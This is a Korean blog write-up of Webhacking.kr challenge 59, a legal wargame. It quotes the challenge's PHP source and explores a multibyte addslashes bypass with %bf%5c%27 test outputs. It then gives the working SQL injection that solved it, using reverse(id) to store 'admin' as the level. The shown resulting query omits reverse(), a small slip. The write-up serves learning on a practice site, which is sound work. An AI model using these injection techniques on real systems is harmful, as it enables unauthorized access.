200점짜리주제에.. 내가 못풀어서 답을 찾게했다 ㅠ.
소스보기
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if($_POST['lid'] && isset($_POST['lphone'])){
$_POST['lid'] = addslashes($_POST['lid']);
$_POST['lphone'] = addslashes($_POST['lphone']);
$result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
if($result['id']){
echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
if($result['lv'] == "admin"){
mysqli_query($db,"delete from chall59");
solve(59);
}
echo "<br><a href=./?view_source=1>view-source</a>";
exit();
}
}
if($_POST['id'] && isset($_POST['phone'])){
$_POST['id'] = addslashes($_POST['id']);
$_POST['phone'] = addslashes($_POST['phone']);
if(strlen($_POST['phone'])>=20) exit("Access Denied");
if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
}
?>
<html><head><title>Challenge 59</title></head><body>
<form method=post>
<table border=1>
<tr><td></td><td>ID</td><td>PHONE</td><td></td></tr>
<tr><td>JOIN</td><td><input name=id></td><td><input name=phone></td><td><input type=submit></td></tr>
<tr><td>LOGIN</td><td><input name=lid></td><td><input name=lphone></td><td><input type=submit></td></tr>
</form>
<br>
<a href=./?view_source=1>view-source</a>
</body></html>
처음엔 0b 이진수가 안막혀있길래 이 방식으로 풀려 했으나 strlen이 20이 넘어버려서 포기.
그리고 addslahses의 우회방법을 생각해봤다.
그러다가 산으로 간 이야기 START..
멀티바이트 취약점을 사용해봤다. 안먹힌다… 하..
이게 언제 먹히고 언제 안먹히는진 아직 잘 모르겠다.. mb_convert가 꼭 사용되어야 하나..
그래서 짜증나서 이김에 좀 알아봤다.
기본적으로 유니코드 기반의 단일 인코딩에선 먹히지 않는다. 내 생각대로 해당하는 문자가 없어서 아예 인식을 하질 못한다. (%bf%5c%27 -> 깨진문자/‘ )
근데 mb_convert_encoding(utf-8, euc-kr)이 먹혔던 이유는 destination 은 utf-8이나, euc-kr인 멀티바이트에서 %aa~%fe 뒤에 %5C가 오면 한 문자로 인식하고(어떤문자인지는 존재하지않음), 그 기반 그대로 utf-8에서도 한 문자로 인식한 상태가 되므로 문자 하나의 자리를 차지하게 된다(?라고 뜬다).
참고로 기본적으로 멀티바이트 기반인 euc-kr 단일 인코딩 환경에서도 먹히는 것이다. 멀티바이트 환경에서 먹히는 취약점이니까.
멀티바이트를 사용했다는걸 보여주고 + 표준인코딩으로 바꿔주는 작업을 그냥 명시해준 것 같다.
정리하면, 해당 취약점은 멀티바이트 기반에선 먹히고, 유니코드 기반에선 먹히지 않는다.
멀티바이트는 문자 1:1대응이 아닌 취약점으로부터 %aa ~ %fe 뒤에 %5C가 오면 한 문자로 인식하는데, 유니코드에서는 문자 1:1 대응이라, 존재하지 않는 문자는 아예 깨져버린다. 멀티바이트인 euc-kr 에서 유니코드인 utf-8로의 변환에서 먹히는 이유는, ‘인코딩 변환 과정’에서 euc-kr에서 한 문자로 인식된 그 상태로 인해 유니코드에서도 한 문자로 인식되기 때문에 자리를 차지하게 되어서라고 생각하면 되겠다.
<?php
$a = '%bf%5C%27';
echo urldecode($a);
->
\'
<?php
$a = '%bf%5C%27';
echo mb_convert_encoding(urldecode($a),'utf-8','euc-kr');
->
?'
<?php
$a = '%bf%5C%27';
echo mb_convert_encoding(urldecode($a), 'utf-8','gbk');
->
?'
<?php
$a = '%bf%5C%27';
echo mb_convert_encoding(urldecode($a), 'gbk','euc-kr');
->
?'
<?php
$a = '%bf%5C%27';
echo mb_convert_encoding(urldecode($a), 'euc-kr','gbk');
->
~'
<?php
$a = '%bf%5C%27';
echo mb_convert_encoding(urldecode($a), 'euc-kr','euc-kr');
->
\'
<?php
$a = '%bf%5C%27';
echo mb_convert_encoding(urldecode($a), 'gbk','gbk');
->
\'
이를 토대로, ‘인코딩 변환’에선 기반이 멀티바이트면 취약점이 먹히나 동일 인코딩사이의 변환에선 먹히지 않는다.
기반이 멀티바이트가 아니면 아예 먹히지도 않는다.
변환이라 그렇지, 단일로 그냥 멀티바이트 인코딩 환경에선 취약점이 먹힌다.
ex) gbk
https://stackoverflow.com/questions/5133022/php-addslashes-sql-injection-still-valid
참고:
https://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string
https://stackoverflow.com/questions/14561666/sql-injection-on-delete-query/14561769#14561769
어쩌다 산으로 갔는데.. 다시 돌아와서... 문제를 풀자면, 이번에 새로 알게 된 내용이 있다.
컬럼명을 SQL 쿼리로 전달하는게, SELECT 에서 뿐 만 아니라 INSERT 에서도 가능했다.
mysql> insert into book values (7, 'hi', title, 5);
Query OK, 1 row affected (0.01 sec)
mysql> select * from book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)
바로 앞에서 쓴 'title 컬럼에 들어갈 값'을 title로 다시 참조할 수가 있다는 것..!
이렇게 보면 더 쉽다.
mysql> insert into book (id, title, description, maker_id) values (7, 'hi', title, 5);
그리고 문자열 새로운 우회 방법으로 SQL 의 reverse() 함수에 대해서도 알게됐다. 이를 이용하면
JOIN 에서 아래와 같이 입력
id= nimda
phone= 1,reverse(id))--
->
insert into chall59 values('nimda',1,id)-- ,'guest')
이렇게 되는것..!!!
이건 앞의값이 쿼터로 감싸져있고, 뒤에값은 쿼터로 안감싸져있을 때 사용할 수 있는 우회법인 것 같다.
암튼 이렇게한 뒤에
nimda, 1로 로그인해주면 문제가 풀린다. 많이 배워간다.!!
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 61번 (0) | 2020.11.29 |
---|---|
[Webhacking.kr] 60번 (0) | 2020.11.29 |
[Webhacking.kr] 58번 (0) | 2020.11.27 |
[Webhacking.kr] 57번 (0) | 2020.11.26 |
[Webhacking.kr] 56번 (0) | 2020.11.25 |